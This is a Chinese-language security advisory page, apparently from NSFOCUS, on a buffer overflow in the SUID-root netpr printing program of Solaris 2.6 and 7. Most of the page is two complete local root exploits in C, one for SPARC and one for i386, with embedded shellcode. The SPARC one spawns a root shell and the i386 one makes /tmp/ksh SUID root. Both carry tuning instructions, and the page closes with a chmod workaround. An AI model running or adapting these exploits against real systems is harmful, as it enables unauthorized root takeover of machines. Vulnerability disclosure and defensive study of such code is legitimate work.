安全研究
安全漏洞
Solaris netpr缓冲区溢出漏洞
发布日期:2000-05-14
更新日期:2000-05-14
受影响系统:
描述:
Solaris 2.6 i386/SPARC(with patch 106235-03 or patch 106235-04 )
Solaris 7 i386/SPARC
netpr是一个Solaris 7/2.6所带的网络打印程序,它缺省被设置了suid root位.
它的-p开关用来指定打印机名称,它没有正确检查打印机名称的长度,当提供
一个超长的打印机名(超过1023字节)给它时,将导致发生缓冲区溢出.本地攻击
者可以获取root权限。
<* 来源:Cheez Whiz/ADM cheezbeast@hotmail.com *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/**
*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
*** Usage: % netprex -h hostname [-o offset] [-a alignment]
***
*** where hostname is the name of any reachable host running the printer
*** service on TCP port 515 (such as "localhost" perhaps), offset is the
*** number of bytes to add to the %sp stack pointer to calculate the
*** desired return address, and alignment is the number of bytes needed
*** to correctly align the first NOP inside the exploit buffer.
***
*** When the exploit is run, the host specified with the -h option will
*** receive a connection from the netpr program to a nonsense printer
*** name, but the host will be otherwise untouched. The offset parameter
*** and the alignment parameter have default values that will be used
*** if no overriding values are specified on the command line. In some
*** situations the default values will not work correctly and should
*** be overridden on the command line. The offset value should be a
*** multiple of 8 and should lie reasonably close to the default value;
*** try adjusting the value by -640 to 640 from the default value in
*** increments of 64 for starters. The alignment value should be set
*** to either 0, 1, 2, or 3. In order to function correctly, the final
*** return address should not contain any null bytes, so adjust the offset
*** appropriately to counteract nulls should any arise.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** May 23, 1999
**/
/* Copyright (c) 1999 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80
#define OFFSET 1600 /* default offset */
#define ALIGNMENT 1 /* default alignment */
#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shell[] =
/* setuid: */
/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */
/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */
/* alarm: */
/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */
/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */
/* execve: */
/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */
/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */
/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */
/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */
/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */
/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] */
/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] */
/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] */
/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */
extern char *optarg;
unsigned long int
get_sp()
{
__asm__("or %sp,%sp,%i0");
}
int
main(int argc, char *argv[])
{
unsigned long int sp, addr;
int c, i, offset, alignment;
char *program, *hostname, buf[BUFLEN+1], *cp;
program = argv[0];
hostname = "localhost";
offset = OFFSET;
alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
default:
fprintf(stderr, "usage: %s -h hostname [-o offset] "
"[-a alignment]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
memcpy(cp, shell, strlen(shell));
sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
buf[BUFLEN] = '\0';
fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
execle("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL, NULL);
fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
exit(1);
}
----- cut here ----- cut here ----- cut here ----- cut here -----
/**
*** netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (i386)
***
*** Usage: % netprex hostname [offset]
***
*** where hostname is the name of a host running the printer service on
*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
*** is the number of bytes to add to the stack pointer to calculate your
*** target return address; try -1000 to 1000 in increments of 100 for
*** starters.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** March 4, 1999
**/
/* Copyright (c) 1999 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
#define BUFLEN 1047
#define NOP 0x90
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
char shell[] =
/* 0 */ "\xeb\x41" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xbb" /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0" /* movb %al,-0x40(%esi) */
/* 19 */ "\x88\x46\x08" /* movb %al,0x8(%esi) */
/* chown: */
/* 22 */ "\x31\xc0" /* xor %eax,%eax */
/* 24 */ "\x50" /* pushl %eax */
/* 25 */ "\x50" /* pushl %eax */
/* 26 */ "\x56" /* pushl %esi */
/* 27 */ "\xb0\x10" /* movb $0x10,%al */
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
/* 34 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* chmod: */
/* 37 */ "\x31\xc0" /* xor %eax,%eax */
/* 39 */ "\xb0\x6d" /* movb $0x6d,%al */
/* 41 */ "\xb4\x09" /* movb $0x9,%ah */
/* 43 */ "\x50" /* pushl %eax */
/* 44 */ "\x56" /* pushl %esi */
/* 45 */ "\x31\xc0" /* xor %eax,%eax */
/* 47 */ "\xb0\x0f" /* movb $0xf,%al */
/* 49 */ "\xe8\xcc\xff\xff\xff" /* call syscall */
/* 54 */ "\x83\xc4\x08" /* addl $0x8,%esp */
/* exit: */
/* 57 */ "\x31\xc0" /* xor %eax,%eax */
/* 59 */ "\x50" /* pushl %eax */
/* 60 */ "\xb0\x01" /* movb $0x1,%al */
/* 62 */ "\xe8\xbf\xff\xff\xff" /* call syscall */
/* springboard: */
/* 67 */ "\xe8\xc2\xff\xff\xff" /* call start */
/* data: */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA */
char buf[BUFLEN+1];
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
int
main(int argc, char *argv[])
{
unsigned long int esp, nop;
long int offset = 0;
char *hostname, c;
int i, null, umbilical[2];
struct stat st;
int status;
if (argc < 2) {
printf("usage: %s hostname [offset]\n", argv[0]);
exit(1);
}
esp = get_esp();
hostname = argv[1];
if (argc > 2)
offset = strtol(argv[2], NULL, 0);
if (argc > 3)
nop = strtoul(argv[3], NULL, 0);
else
nop = 942;
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; copy /bin/ksh to /tmp first!\n");
exit(1);
}
if (pipe(umbilical) < 0) {
printf("exploit failed; unable to create a pipe!\n");
exit(1);
}
switch (fork()) {
case -1:
printf("exploit failed; unable to fork!\n");
exit(1);
break;
case 0:
if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
printf("exploit failed; cannot open /dev/null!\n");
exit(1);
}
dup2(null, STDIN_FILENO);
dup2(null, STDOUT_FILENO);
dup2(null, STDERR_FILENO);
if (null > STDERR_FILENO)
close(null);
close(umbilical[0]);
dup2(umbilical[1], 10); /* yes, descriptor 10 -- trust me ;-) */
execl("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL);
printf("exploit failed; unable to exec!\n");
exit(1);
break;
default:
close(umbilical[1]);
c = 0;
while (c != '\n') {
read(umbilical[0], &c, 1);
}
c = '\0';
while (write(umbilical[0], &c, 1) < 1)
;
wait(&status);
if (WIFSIGNALED(status)) {
printf("exploit failed; child process died on signal %d "
"(try adjusting the offset)\n", WTERMSIG(status));
exit(1);
} else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
printf("exploit failed; child process exited with unexpected "
"return value %d, instead of 0\n", WEXITSTATUS(status));
exit(1);
}
break;
}
if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; /tmp/ksh disappeared somehow!\n");
exit(1);
} else if (st.st_uid != 0) {
printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
exit(1);
} else if ((st.st_mode & 07777) != 04555) {
printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
exit(1);
} else {
printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
exit(0);
}
}
建议:
暂无.
临时解决方法:chmod u-s /usr/lib/lp/bin/netpr
浏览次数:6510
严重程度:0(网友投票)
绿盟科技给您安全的保障